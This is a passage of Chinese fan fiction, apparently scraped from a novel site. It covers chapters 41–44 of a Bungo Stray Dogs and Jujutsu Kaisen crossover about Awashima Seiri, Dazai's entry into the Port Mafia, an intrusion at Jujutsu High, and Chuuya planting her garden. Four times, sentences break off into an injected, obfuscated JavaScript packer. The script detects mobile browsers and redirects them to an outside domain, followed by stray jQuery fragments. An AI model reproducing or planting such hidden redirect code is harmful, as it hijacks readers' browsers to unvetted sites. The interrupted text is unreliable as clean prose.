有人呼吁和平,有人发动战争,有人心怀悲悯,有人勾心斗角。权力,地位,财富,美色,人类普遍所追逐的东西也都如出一辙。 无聊,好无聊。 满目迷茫的她失去了旅行的兴致,最终定居在这小小的擂钵街——至少这里还会有时不时冒出来的小虫子给她消遣。 只是最近小虫子们也不出来活动了。 六年前幼崽昏暗的眼睛与面前的瞳孔渐渐重合,女人望着身上缠满绷带做出一副可怜模样的少年,明白自己被缠上了。 穿着白色大褂医生打扮的男人说,他从河里救了这个少年,受少年所托带少年来寻亲。 男人彬彬有礼:“并非有意打探您的消息,只是偶尔会有病人向我提起您,所以得知了您的住处,冒昧前来打扰。” 男人的盘算女人一清二楚。她想,小狐狸遇到了老狐狸,倒是般配。 面对少年故作可怜的姿态,她只是平静地告诉男人:“你被骗了,我不是他的姐姐。” 少年的目光陡然黯淡,像一尾游鱼突然搁浅,失去了生机。 何必做出一副伤心欲绝的样子?明明并没有在伤心。 她比任何人都了解这个少年,游离在族群之外的幼崽不在乎生死,当然也不在乎同伴。 女人微微垂眼,面色平和:“很高兴看到你还活着,可是为什么还要跟来呢?” 出乎意料的态度让少年的表情有一瞬空白,鸢色的眼瞳带上了怔然。 原来时间真的能改变一切。六年或许不长,却平息了她眼里的风暴。 长久的沉默后,少年再次勾起唇角,空荡的眼底平静无波。 “因为我们曾经是一样的人啊。” 因为我们是一样的人啊。 离群的孤鸟,无心的空壳。拜托你告诉我,你为什么而活?」 …… 傍晚,回到家中的太宰治再次带了一身血,只不过这次是他自己的血。 当他答应森鸥外的计划时就预想到了会被人针对,所以并没有感到意外。只不过森鸥外那个老狐狸比他想得还不要脸。 很多针对他的行动都是可以被制止的,但是森鸥外没有出手,他在逼太宰治表态。加入港口黑手党,成为他的亲信,他不仅会派人保护太宰治,还会给他调动手下的权限。 森鸥外给出了承诺,或者说是诱惑,他相信太宰治会同意的。 毕竟无论太宰是否同意,他在外人眼里都已经被打上了森鸥外派别的标签,那么为什么要拒绝唾手可得的权力呢? 窗外已是一片昏暗,灯光明亮的客厅里,淡岛青理小心翼翼地除去太宰治身上染血的绷带,动作轻柔地给他处理伤口。 “森先生真讨厌,言而无信的家伙。说什么会照顾好你,都是骗我的。” 她清理掉少年肩膀上伤口周围的污血,在棉花上撒上一些止痛药,用纱布将伤口慢慢缠好。 太宰治安静地注视着她的动作,一言不发,即使是消毒酒精触碰到伤口也没有发出一丝声响。 染血的绷带散落一地,还有太宰治破损的米色外套。 他听着淡岛青理嘀嘀咕咕不停地抱怨森鸥外,口中时不时冒出两句毫无杀伤力的骂人的话,内心毫无波澜。 这是森先生应得的。 淡岛青理骂了一圈,骂不负责的森鸥外,骂伤人的黑手党,就是没舍得骂主动掺和进麻烦事中的太宰治。 她气鼓鼓地憋了半天,也只是憋出一句:“不准你再和森鸥外玩了。” “可是,”一直沉默的少年终于开口,“森先生现在是港口黑手党的首领了,他想邀请我加入港口黑手党。” 说这话时,少年鸢色的眼瞳一眨不眨地盯着女人,不错过女人脸上一丝一毫的神情变化。 淡岛青理沉默半晌,小声说:“那太宰想加入吗?” 少年:“如果我不想加入,你又会怎么办呢?你看到了,我的伤口。其中有多少是森先生默许之下产生的呢?他在逼我表态。” 淡岛青理给他的嘴角贴上一枚粉色的小熊创可贴,认真地说:“如果太宰不想加入,我们就搬走吧。搬回东京,不会让森先生抓住你的。” 女人神色认真,没有丝毫犹豫和恐惧。 又或许,她并不知道港口黑手党代表什么。 她被伏黑惠保护得太好了。太宰治有些恶意地想,如果真的让她直面黑手党纷争的血腥,她还能毫无顾忌地说出这番话吗? “骗你的,”他说,“我当然愿意加入了,森先生给出的好处可是非常让人心动的。” 淡岛青理皱眉:“黑手党的生活很危险,你会经常受伤。” 少年露出一个笑容:“我知道啊,我不在乎,如果有人能带给我死亡,我会非常感谢他。” 他直视着淡岛青理的眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907538|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫不经心地开口:“啊,如果淡岛夫人害怕的话,可以带着莉帕一起搬回东京。毕竟津美纪小姐和伏黑君都在那里。” 气氛突然安静。 感受到了异样的氛围,正在沙发上摆弄玩偶的莉帕投来安静的注视,她怀中的兔子玩偶少了一只眼睛,仅剩的一只红色眼珠也随着她一眨不眨地望向这边。 女人处理好了所有伤口,将纱布和药品放回医疗箱。 “怎么可能把你一个人留下呢?”她温柔地说,只是那双眼睛里透露着从未有过的情绪,让少年慢慢绷直了脊背。 “既然这就是你的选择,那我会陪着你的。” 温柔的语气无端地透着几分冰冷,她的手落在头顶,动作轻柔地将他翘起的头发理顺。太宰治却觉得那只手像巫妖的利爪悬在头顶,随时可能会将他的头骨碾碎。 这可真是…… 第一次,他清晰地感受到了来自淡岛青理的负面情绪。尖锐的气息带来冰冷刺骨的寒意,初夏时节,他的手脚变得冰凉。 关于淡岛青理的印象全部推翻,曾经怀疑过的那个可能性占据了上风。 温柔无害的外表只是伪装,善良柔弱的不一定是绵羊,也有可能是披着羊皮的狼。 想通这一点后,他的第一反应竟然是松了口气。 是了,怎么会有不计回报的温柔呢?除非是有所图谋的伪装。曾经的关心和纵容突然有了理由,他一直飘忽不定的心也落在了实处。 那么,伏黑姐弟知道她的真面目吗? 从伏黑姐弟的反应来看,淡岛青理并没有向他们展露过这一面。在他们心里,她仍然是那个需要保护的柔弱之人。 为什么独独对他显露出真面目呢? 太宰治双眼微微睁大,来自头顶的无形的危机感让他的肾上腺素增高,心脏不由自主地加快了跳动。 因为他违背了她的意愿,想要脱离她的掌控?所以忍不住要对他动手了吗? 在太宰治眼中,女人透露出来的气息无疑是撕掉了一直以来的伪装,这代表女人已经没有耐心陪他玩下去了。 可是事态并没有像他想象的那样进行,在他越来越清晰的心跳声中,女人的手掌微微用力,将刚刚理顺的头发又揉成一团乱。 她收回手,眉眼弯弯,像什么事都没发生一样招呼着两个孩子洗手吃晚饭。 “今天我做了南瓜汤,每人一碗,都要喝完哦!” 沙发上萝莉的目光追随着她的身影移动,直到她进了厨房才将视线移到了太宰治身上。 太宰治站在原地,抬手摸了摸头顶,神色迷茫。 一颗有着彩色包装纸的糖果出现在他面前,银发萝莉维持着伸手的姿势,面上带着不舍。 “分你一颗,青理在游乐园给我买的,只剩这一颗了。” “……”太宰治注视着那颗蝴蝶结形状充满少女心的糖果,沉默了一会儿,还是伸手接过了。 莉帕看了一眼厨房的方向,对他说:“好了,你已经接受我的贿赂了。” 太宰治没有说话,只是用鸢色的眸子注视着她,等待她发话。 是想让他做什么呢? 让他不要加入黑手党,乖乖做一个听话的傀儡?还是让他离这个家远一点,不要把麻烦带给她们呢? 可是原本也不是他要留下的啊。 指尖不自觉地陷入掌心,周围的声音都变得模糊而遥远。 一声叹息闯入耳中将他的思绪拉扯回来,银色长发的萝莉仰着头认真地说:“不许再说让青理离开的话了。她很在乎你,她不会伤害你的。” 42.第 42 章 隔日,坐在首领办公室里的森鸥外久违地收到了便当。 “原来淡岛夫人已经从东京回来了吗?” 由俭入奢易,由奢入俭难。在经历了淡岛青理一个多月的投喂后,他已经回不去曾经天天吃泡面的日子了。实话说港口黑手党的伙食其实还算不错,只是他忙于处理老首领残党的事情没时间用饭,几日下来消瘦了不少。 他慢条斯理地拆开便当盒,期待着今天会有什么菜品。 放眼望去,便当盒里绿油油的一片。 凉拌苦瓜,清炒苦瓜,寿司卷苦瓜,苦瓜汤……光是看着舌根就涌上来一股苦意。 他默默合上盖子,叹了口气:“怎么办,爱丽丝酱?淡岛夫人似乎生气了。” 爱丽丝嘲笑他没有自知之明:“你当初在电话里可是答应得好好的,转头就让太宰带着一身伤回去,淡岛夫人不生气才怪。” “但是太宰也有责任吧?我可没有逼迫他为我作证,怎么能只生我一个人的气呢?” 今天早上,太宰治终于松口同意了加入港口,这意味着这场关于首领之位的混战很快就会被平定。 他从不怀疑太宰君的能力。 当太宰治接过他作为信物的黑色外套时,森鸥外心里久违地生出了一丝成就感。 太宰治很少穿黑色,因为淡岛夫人不喜欢。而今后作为信物的黑色外套必须被太宰治随身携带,这让森鸥外有一种赢了淡岛夫人的优越感。 只是,在将黑色外套披在肩膀后,太宰治从口袋里掏出了一枚闪亮亮的猫咪胸针别在了大衣上。 森鸥外得意的表情僵住了。 “这是……?” “这个啊,”少年说,“淡岛夫人送的礼物,说庆祝我找到工作。对了,她还说让你记得给我交五险一金。” “……” 回想起当时自己无语的状态,森鸥外又惆怅地叹了口气。 正常的家长都不会同意自己的孩子加入黑手党这种组织,毕竟黑手党的本质就是血腥与暴力。 本以为能借太宰治加入港口黑手党之机让两人生出嫌隙,没想到淡岛夫人竟然完全不在意。 究竟是真的心大到不了解港口黑手党是怎样的存在呢?还是说,另有所图? 太宰治的异能具有极强的特殊性,这就注定了有心之人会不断地靠近他,利用他。比如森鸥外自己。 那么淡岛夫人呢?她会是横滨这场混乱的入局者之一吗? 森鸥外拿起筷子夹了一块苦瓜寿司放入口中,面不改色地咽了下去。 “看来,我们得再好好调查一下淡岛夫人了。” · 在家中养身体的淡岛青理完全不知道自己因为毫无底线的纵容再次被森鸥外盯上了。 当然,知道了也不会在意。别人能查到的,只能是她想让别人查到的。 从咒术高专回到横滨的第二天,伏黑惠给她打了电话。 电话那边,黑发少年的脚步停在校长室门前,侧目望了一眼校长室里聚集的人群,平静地告诉淡岛青理小偷的事情已经处理好了。丢了一些东西,不太重要,让她不要担心。 淡岛青理当然不担心,毕竟东西就在她地下室放着呢。要不是她为救玉犬透支了魔力,那东西都被她扔反应釜里研究三个来回带拐弯了。 听见伏黑惠语气中透露着掩饰不了的疲惫,淡岛青理知道他们一定调查了一晚上。略感心虚的她一边应声一边在网上订购了一堆零食邮寄过去,试图让自己不存在的良心好过一点。 整夜没睡的伏黑惠不知道罪魁祸首就在电话对面,挂掉电话后,他听见校长室半开的门里传出了夜蛾正道的怒吼声。 “欺人太甚,这就是对我们的挑衅!” 办公室里,夜蛾正道一张方正的国字脸上乌云密布,本就凶恶的长相更显狠厉,往那一坐能吓哭一排小朋友。 他暗中甩了甩因为拍桌子被震得发麻的手臂,端起茶杯冷静一下。 昨天发生的事情,让咒高颜面尽失。 入侵者神不知鬼不觉地进入高专,还一路畅通无阻地进入了薨星宫,天元大人的结界在他眼中视若无物。 而这人潜入薨星宫的目的既不是咒物也不是咒具,竟然是为了砍天元大人一刀!一击割下天元大人的右手食指,之后片刻不多留立刻逃之夭夭。 他们赶过去后连入侵者的影子都没看到! 天元大人是不死的,断根手指对他而言都算不上伤,转瞬之间就能再生。经过细致的核查,咒物与咒具均一个不少,来人甚至碰都没碰一下。 此次入侵,咒术高专的损失约等于零,可是入侵者行动背后蕴含着更恐怖的信息。 天元大人在结界术领域有着深厚的造诣,咒术界如今使用的“帐”以及守护各处要塞的结界,都是天元大人优化加持下的成果,论起对结界术的使用无人能出其右。 入侵者能在结界中来去自如,甚至完全不受薨星宫内空间阵法的迷惑,能精准地在一千多扇门里找到正确的入口,且迅速定位天元大人的所在地,这说明来人在空间领域的造诣还要在天元大人之上。 这等人物,似敌非友,令人忌惮。 咒术高专的结界能够识别高专等人的咒力,如果遭遇入侵应该会发出警报。究竟是来人有屏蔽识别的办法,还是…… “天与咒缚?”遍布血色的场景在眼前一闪而过,五条悟似乎再次感受到了刀尖插入脑髓的剧痛。 是啊,不会被拦截的例子,不是有一个吗? 听闻消息赶来凑热闹的冥冥侧倚在窗边,手里摆弄着辫子勾唇说:“有趣,咒术界还从未有过第二个像伏黑甚尔一样反向天与咒缚完全零咒力的例子,是藏得太深,还是……死而复生?” 夜蛾正道否定了她离奇的猜测:“尽管入侵者速度很快,没能看清她长什么样子。但根据天元大人的说法那应该是一个女人,一个银色长发身穿黑衣的女人。” 没有人的记忆里有与这个形象匹配的人物。 “另外,虽然薨星宫没有留下线索和咒力残秽,但在沿着结界搜查后,我们在离结界不远处的森林里发现了这个。” 一颗弹珠大小的红色宝石出现在夜蛾正道的手心里。 宝石被人打磨过,呈现非常完美的球状,粗看起来似乎真的和弹珠没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15914599|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么区别。但拿近仔细观察,会发现宝石中间有一条笔直的细孔,似乎是被人用什么东西打穿了。 对这些东西最熟悉的冥冥拿起红宝石,放到眼前转动打量了一下。 “品相相当不错的天然红宝石,克重不小,可惜被暴殄天物的加工手法毁了,如果找个工匠沿中间分成两半,再仔细切割一下,还能卖上五百万日元。” 五条悟吹了个口哨:“看来是个不差钱的家伙。” 七海建人声音中带着疲惫,连着两天的加班让这位社畜能量不足:“既然不是为了咒物也不像是为了钱,那入侵者的目的究竟是什么,他带走天元大人的食指是要做什么?” 天元大人又不是宿傩,他的食指也不是什么咒物,要来有什么用? 信息实在太少,即使他们在这里讨论到天亮也讨论不出来什么,只能先散会,找到其他线索再说。 五条悟走出校长室,看见了等在门边的伏黑惠。 “嗯?惠是在等我吗?” “嗯。”伏黑惠垂眸将手机放入口袋,平静地说,“只是想告诉你一声,淡岛夫人已经平安到家了,不用担心。” 五条悟抬手拍了一下额头,恍然大悟:“啊——惠真是帮大忙了,事情太多我都忙忘记了,青理酱没事就好。” 伏黑惠点头:“我也告诉了她最近高专会很忙,不要过来。” “嗯嗯。就是可惜青理酱难得来一趟,我都没来得及带她四处去玩玩。” 两人边说着边并排向外走去。 五条悟双手枕在脑后,一边走一边说:“横滨那边不知道是不是异能者太多的原因,都没诞生过特别厉害的咒灵,我都没有机会去那里出差,我还想青理酱能带我逛一逛横滨的中华街呢。” “说起来,上次都怪那个叫太宰的小鬼突然出现,不然我还能参观一下青理酱的新家,我还没拜访过呢。” “硝子倒是去过几次,竟然都没给我拍照片回来,可恶!不过最近上层那些老橘子对硝子多次外出的行为意见不小,短时间她大概没办法离开高专了。” 他嘀嘀咕咕抱怨了一大堆,东一句西一句的也没什么逻辑。伏黑惠知道他其实不需要回应,所以只是安静地听着。 “对了,”走了一段路,穿过树林远远看见了宿舍楼,五条悟突然说,“青理酱有跟你提过为什么突然来高专吗?” “嗯,”伏黑惠语气平静,“她说最近电视报道了很多校园霸凌的事件,她看了之后放心不下,担心我会在学校被欺负,所以想要来亲眼看一看。” “……也对,”五条悟望着天空笑了一下,“青理酱就是这样爱操心的性格。” 之后两人没有再说话,一直沉默着走到了宿舍楼下。 天色已经渐暗了,他们远远看见宿舍楼门口的墙边倚靠着一个身影,走进后看清是背着咒具的禅院真希。 她穿着运动服,似乎刚从练习场出来,面色还带着运动后的薄红。 “悟,过来一下。”她向伏黑惠点点头,然后示意五条悟跟她到旁边去。 伏黑惠没有出声,看了两人离开的背影两秒,然后照常走进了宿舍楼。 43.第 43 章 天色昏暗,楼里已经没有了阳光,宿舍楼走廊里的灯都亮了起来。伏黑惠缓步来到自己的宿舍门前,从口袋中掏出钥匙。 “哎,伏黑?”旁边的宿舍门被打开,虎杖悠人叼着面包从里面探出头来。 “这么快就回来了?你不是说有事情要告诉五条老师吗?”虎杖悠人眨巴着眼睛望着伏黑惠,有些疑惑地发问。 “……没事了,是我弄错了。”伏黑惠回答。 虎杖悠人没有怀疑,他递给伏黑惠一个用纸袋装着的热狗,热情地邀请伏黑惠和他去训练场训练。 “我还以为你是去找五条老师谈昨天薨星宫的事呢,怕你回来得晚,从食堂给你带了热狗。你回来得正好,一起去找狗卷前辈他们训练吧。” “和薨星宫的事情无关,一点私事罢了,”伏黑惠一手拽着打开的房门,一手接过纸袋,“谢谢,不过我有些累了,今天就不去训练了。钉崎呢?” 没等虎杖悠人回答,少年一侧脸颊上先冒出了一张长满利齿的嘴,一开一合之间发出了一声嘲笑的“哈”声。 啪—— 虎杖悠人用力在那张嘴上拍了一下,皱着眉说:“不要总在别人聊天的时候插话啊,很没有礼貌。” 那张嘴换了位置,出现在虎杖悠人按在脸颊上的手上,嘁了一声之后又没了动静。 虎杖悠人这才得空回答伏黑惠的问题:“钉崎说她订的时尚杂志到货了,一会儿要去取。” 或许是昨天的入侵没有产生任何伤亡的缘故,一年级的几人明显没有什么紧张感,仍然像平时一样享受着日常。 “不过说起来,两面宿傩最近有点奇怪,”虎杖悠人摊开掌心,虚握了几下手指,“最近明显话少了很多。昨天青理姐来的时候我还担心它突然开口说话怎么办,结果它竟然完全没有出现,该不会是在暗地里打什么坏主意吧?” 话音刚落,他眼下突然睁开两只眼睛,猩红的眼珠转动几下,最后目光停在了对面身体紧绷的伏黑惠身上。 “小鬼,”长满利齿的嘴再次出现,也不知是对着虎杖悠人还是伏黑惠说,“有依仗是好事,但你最好祈祷能够永远躲在庇护之下,否则你的身体迟早会是我的。” “啪——”虎杖悠人又给了自己一巴掌,“又在说什么怪话?你先能出来再说吧。” 距离宿舍楼不远的树林里,禅院真希停下了脚步。 跟着她走来的高大青年没个正形,语气轻佻地说:“怎么了真希,有什么小秘密要单独告诉五条老师啊?” 禅院真希没有拐弯抹角,直接发问:“那个淡岛夫人究竟是什么人?” 五条悟愣了一下,毫不在意地笑着:“哈哈真希,你在说什么?青理酱是惠的妈妈啊,你应该听说过她吧?” 禅院真希不想和他绕弯子,皱着眉打断了他的话:“她和那个夏油杰什么关系?” 望着禅院真希严肃的表情,五条悟慢慢收敛了笑意,插在兜里的双手握紧,指尖掐了掐掌心。 “为什么这么问?真希是发现了什么吗?” 叫他仍不肯明说,禅院真希将关于那股香气的事情和盘托出。 “……原来如此,”五条悟听完后僵硬地扯了一下嘴角,“我承认,她和杰确实认识,但这说明不了什么,只能证明杰在来高专之前去见过她而已,那是她家中熏香的味道。” 他顿了顿,补充了一句:“青理只是一个普通人。” 是啊,这能证明什么呢? 就像他和硝子一样,杰也很喜欢青理,虽然他嘴上从来没有承认过。但是是谁每次拿到信徒供奉的珍玩都会眼巴巴地跑去献宝呢? 是在开战之前去见过青理了吧? 会在开战前去找青理道别,是不是说明其实对于那场战斗的胜负,他心中也隐隐有所预料呢? 禅院真希相信五条悟,但她不相信淡岛青理。 “关于昨天天元大人遇袭的事情,你真的没有想法吗?就那么凑巧吗?没有预料地突然拜访高专,在她吸引了高专所有人目光的时候,薨星宫被破了?” 五条悟:“青理只是担心惠,她之前就给惠打过电话。而且也是伊地知犯糊涂才会让她顺利进入高专,否则她根本找不到……” “我问过伊地知了,”禅院真希打断了他的话,镜片后的目光锐利,“伊地知说,是你让她进高专的。她当着伊地知的面给你打了电话,电话里传出的是你的声音。” 五条悟僵住了。 [对呀,是我让青理来的,快点放她进来。] 禅院真希复述了伊地知的证词。 “——电话里,你是这么说的。” 伊地知很相信五条悟,已经看过了淡岛青理和伏黑惠的照片,在听到电话里五条悟的声音后,没有任何怀疑地就领着淡岛青理进入了高专。 可是,五条悟没有怀疑过吗?禅院真希想。他没有去问过伊地知,真的是因为相信了淡岛青理的说法,还是…… 在听到那句话的时候,五条悟高速运转的大脑在瞬间分析出了事情的真相,却又拼命抗拒得出那个显而易见的结论。 僵硬的手指不自觉地抽动了一下,五条悟扯出一个有点难看的笑容:“啊,是我说的……半年前,她被拦在五条家门外的时候。” 他的面色着实难看,禅院真希望着他,语气放轻了几分:“她骗了伊地知,也骗了你。” …… 淡岛青理对禅院真希的印象不深,除了高专的那一面再未曾见过,真要论起来她对禅院直哉的印象都要更深刻一些。 并不知道那个少女仅一个擦身而过就对自己产生了怀疑,她已经把咒高的事情忘到脑后去了。 夏天到了,淡岛青理在忙着规划庭院的布局。 夏季是大部分花卉的花期,此时扦插幼苗已经来不及了,她打算买大量的成熟花卉来移栽。 在院子里划分好区域,计算好需要的花卉的种类和数量,接下来就是买花和栽花了。 家中的庭院说大不大说小也不算小,要种满花卉可是一个大工程,对自己很好的淡岛青理决定抓壮丁。她从手机通讯录里翻出来一个名字,飞快地编辑了一条短信发送出去。 收到短信时,中原中也刚刚跟同伴发生了争吵。 横滨的秩序一直是由黑手党掌控的,这些暴力组织的一举一动都牵动着每个人的生活。对于这次港口黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15916005|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手党的内部动荡,不同的势力做出了不同的反应。 有人求稳妥,收敛了爪牙按兵不动,静观其变。也有人认为机不可失,趁着港口黑手党的内乱开始了浑水摸鱼。 让中原中也没想到的是,“羊”竟然位于后者之列。 不经意间撞破了白濑几人的密谋,得知他们想趁机去港口黑手党的仓库偷武器,中原中也第一感受是——荒谬。 疯了吗? 无论什么时候,武器都是一个黑手党组织最重要的资源,哪里是那么好偷的?何况他们要偷的还不是什么小帮派,是横滨最大的几个势力之一的港口黑手党。 即使港口黑手党现在处于内乱中,也不可能任由别人做出如此挑衅之举,势必会追查到底。 “万一你们被发现了怎么办?!”他不敢想象羊落入港口黑手党手中的后果。 白濑不耐烦地转动手里的匕首:“啰唆死了,中也!港口黑手党现在那么乱,哪有时间管我们?何况我们有了武器,就不用怕那些黑手党了!”真是倒霉,瞒得好好的计划偏偏在行动当天被发现了,都怪阳大那小子说漏了嘴! 被中原中也堵在屋子里一通质问,他心中的不满逐渐累积。 凭什么冲他发火?他是为了“羊”的未来啊!中也这家伙忘了当初是谁救了他吗? 中原中也感到可笑。 一群半大的少年有了武器就能抵抗扎根横滨许久的庞然大物了吗? 他压了压火气尽量平静地和他们讲道理:“港口黑手党的混乱会持续多久谁也不知道,说不定明天就平定下来了,而且无论多久他们都不会放过偷武器的人。有了精良的武器又怎么样?港口黑手党那么多人,我们惹得起他们吗?” “那不是还有中也你吗?”柚杏在旁边出声,“你会像往常一样,把欺负羊的人打倒的对吧?” “……”中原中也答不上来。 面对着少女理所当然的表情,他从心底涌上一股无力感,躯体变得十分疲惫。 心中似乎有很多话想说,可是嗓子像被堵住了,什么也说不出来。 乱七八糟的情绪纠缠在一起,他也分不清自己是在失望还是在生气。 手机叮咚一声脆响把他从迷茫的状态中拖拽出来,他握紧手机,没有去看几人的眼睛:“总之,我不同意。” 之后他推门离开,将柚杏的呼喊声远远抛在身后。 离开“羊”的驻地一路直走,中原中也也不知道要去哪里,脑子里仍然乱糟糟的,总之他现在不想待在驻地。 橘发少年孤零零地行走在破败的建筑间,吸引了不少暗地里的目光,不过在看清他的样子后那些视线又纷纷收了回去。 至少在擂钵街,“羊之王”的名号还是有些用的。 一直到走出擂钵街坐在公园的沙丘上,望着角落里玩沙子的几个孩童,中原中也昏昏沉沉的大脑才渐渐清醒。 他咬紧牙关,用力抹了一把脸。 ……这都叫什么事啊。 口袋里的手机震动了一下,又有两条消息进来。 对了,刚刚好像就有人给他发消息。 他一边掏手机一边迟钝地想,会是谁呢? 44.第 44 章 自从上次搞砸了甜品店的工作之后中原中也一直在留意寻找新的工作,问过很多店铺,也打过一些电话。但最近局势混乱,街上店铺的关门时间都早了,所以毫无意外都被拒绝了。 或许是有人愿意录用他了,给他发了信息吗? 点开收件箱,几则未读消息孤零零地排在正上方,发信人的名字陌生又有点熟悉。 在想起来是谁之前,他先一步点开了消息。 【日安,中也君。】 很有礼貌的招呼,中原中也一直不自觉地皱着的眉头有些许放松。 点开下一条。 【找到工作了吗?可以还钱了吗?】 没有寒暄,直抒胸臆! 中原中也一下子想起来发信息的人是谁了,是那天差点被他误伤的女人。 他嘴角抽动两下,摸遍了身上的口袋,无奈地叹了口气。 他现在是真的拿不出钱。 【我猜你没有找到工作,也拿不出那些钱。】 ……既然知道为什么要发消息过来啊。 【但是没关系,我这里有一份工作,如果感兴趣的话,请在下午一点前来这个地方。】 信息后面跟了一串地址,中原中也没有去过。 他关掉手机,将脸埋进臂弯,橙色发丝遮盖下的耳朵微微泛红。 上次见面,他对女人的态度并不算好。 和黑手党的打斗带出了几分火气,之后没了工作,又将身上的钱全部赔了出去,心中也有几分郁气。尽管他很努力地控制自己,但言行间还是透出了一些不善。 当天夜里躺在床上,他根本睡不着,翻来覆去地思考自己白天的态度是不是过分了一点。 现在抛开自己羞恼的情绪,他得承认那天遇见的那名淡岛女士是一个很好的人。 差点被自己误伤之后没有发火,提出的要求都在合理范围内。在自己无力赔偿的情况下对方也没有步步紧逼,给了他充足的时间,现在更是愿意为他介绍一份工作。 这对于此刻捉襟见肘的中原中也来说无异于雪中送炭。 应该当面谢谢她。 抬起头看了下时间,已经是中午十二点多了,他沉默着起身向消息中的地址走去。 穿过居民楼,商业区,中原中也赶在一点之前来到了信息上的地址。脚步还未站定,一股花香首先充斥了鼻腔——这里是一家绿植花卉店。 绿植店是透明的玻璃门,中原中也没有在门和墙壁上看到招聘告示,犹豫着推门进入店内。 “我等的人来了。”正在和店员小姐闲谈的淡岛青理看见橘发少年走进店内,向他招了招手。 再次相见,原本张扬的少年显得局促了许多,他强作淡定地同淡岛青理打了招呼。 “下午好,淡岛女士。” “下午好,中也君。”淡岛青理笑着,直接说明了目的,“其实找你来是想请你帮忙做个短工。我的庭院要做装修,我在店员小姐这里预定了大量花卉,需要有人帮忙搬运和种植。我搬来不久,在这里没有熟人,只能请你帮这个忙了,我按市场平均时薪的两倍给你开工资,怎么样?” 中原中也闻言先是愣了一下,然后感觉到有些局促。 话说到这里,他当然明白淡岛女士的意思。 知道他在为赚钱的事情发愁,淡岛女士为了照顾他的自尊心特意用这种方式为他提供工作。 毕竟高于市场价两倍的时薪,肯定不缺人高马大的员工来应聘,何必特意叫他这个只见过一面的未成年来呢? 面对直白的善意,中原中也手足无措,他双手插兜故作平静地说:“我会帮你,工资就不用了,就当做上次的赔偿。” 因为淡岛青理买的植株实在不少,店员小姐提供了一辆卡车和一名司机帮他们运载,但是装卸还是要他们自己来。 没有让淡岛青理插手,中原中也轻松地将全部植株装上车,到达目的地后又独自卸下,并一趟又一趟地将植株搬进庭院以便栽培。 入户门敞开着,莉帕抱着玩偶站在门边做监工,银色的脑袋随着中原中也的行动转来转去,像一个摇摆的电风扇。 看着少年搬着沉重的花盆进进出出,她扭头对淡岛青理说:“爱与不爱,真的很明显。” 淡岛青理:“什么意思?” “你连让太宰搬个椅子都不舍得,竟然让他干这么重的活。”这心偏得没边了! 淡岛青理直呼冤枉! 中也是一个自尊心很重的小孩,如果她无缘无故做出施舍只会让少年警惕和疏远,适当地让中也帮忙才是增进感情的正确途径。 莉帕略微思索:“误会你了,所以你是特意用帮忙装修庭院当借口来给他发钱吗?” 淡岛青理:“哦,那倒不是,只是中也听话,异能又好用而已。” 莉帕:“……” 好吧,至少莉帕在她的提醒下注意到了少年手上的红光——少年是用重力异能搬东西,不是真的在当牛马。 “然后呢?这花要怎么种?”少年将全部植株搬进院子,对着铺满庭院的各色花朵犯了难。 从有记忆开始就在擂钵街流浪,被“羊”收留后也没有过上平静生活的中原中也哪里会侍弄这些娇贵的植株,他唯一掌握的养花技巧就是浇水。 “我来教你。”淡岛青理自信举手。 接下来,淡岛青理就进行了一系列让养花人士心脏骤停的操作——没有松土没有施肥也没有假植,挖个坑,将买来的花从盆里拔出来,然后非常粗暴地直接埋进坑里,把土踩实,最后在上面浇点水。 完成了! 中原中也旁观她干脆利落的动作,看得一愣一愣的。 就……这么简单吗? “没错,就这么简单。”淡岛青理予以肯定。 淡岛青理是会种花的,曾经很长一段时间里,她都把这视为生命的支撑。那时她每天的日常就是松土、施肥、浇水、扦插和修剪枝条,还要经常巡视这些娇弱的小生命有没有生出虫害。 养花是个细致活,需要很多时间和耐心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919701|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是现在她既没有时间也没有耐心,只能走一些歪门邪道了——植物魔法了解一下,这可是她冒着生命危险偷学的! 今天随便怎么种,她保证不会有任何一株植物受到伤害! 从未种过花的中原中也信了。 